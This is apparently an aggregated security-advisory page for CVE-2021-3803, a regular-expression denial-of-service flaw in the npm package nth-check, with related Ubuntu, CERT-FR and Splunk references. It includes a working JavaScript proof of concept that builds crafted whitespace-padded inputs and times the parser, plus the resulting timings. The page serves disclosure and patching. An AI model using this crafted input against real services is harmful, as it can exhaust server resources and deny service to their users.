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certfr-2023-avi-0428 — De multiples vulnérabilités ont été découvertes dans les produits Splunk. Certaines d'entre…

certfr-2023-avi-0428

EUVD-2026-21069

fkie_cve-2021-3803

nth-check is vulnerable to Inefficient Regular Expression Complexity

GHSA-rp65-9cf3-cjxr — Inefficient Regular Expression Complexity in nth-check

Affected: npm: nth-check

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\s*(?:([+-]?)\s*(\d+))?` with quantified overlapping adjacency and can be exploited with the following code.

**Proof of Concept** ```js // PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } } ```

**The Output** ``` attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms ```

gsd-2021-3803

UBUNTU-CVE-2021-3803

Affected: Ubuntu:18.04:LTS: node-nth-check, Ubuntu:20.04:LTS: node-nth-check

nth-check is vulnerable to Inefficient Regular Expression Complexity

WID-SEC-W-2023-1350 — Splunk Splunk Enterprise: Mehrere Schwachstellen in Komponenten von Drittanbietern

Ein Angreifer kann mehrere Schwachstellen in Splunk Splunk Enterprise in diversen Komponenten von Drittanbietern ausnutzen, um einen nicht näher spezifizierten Angriff durchzuführen.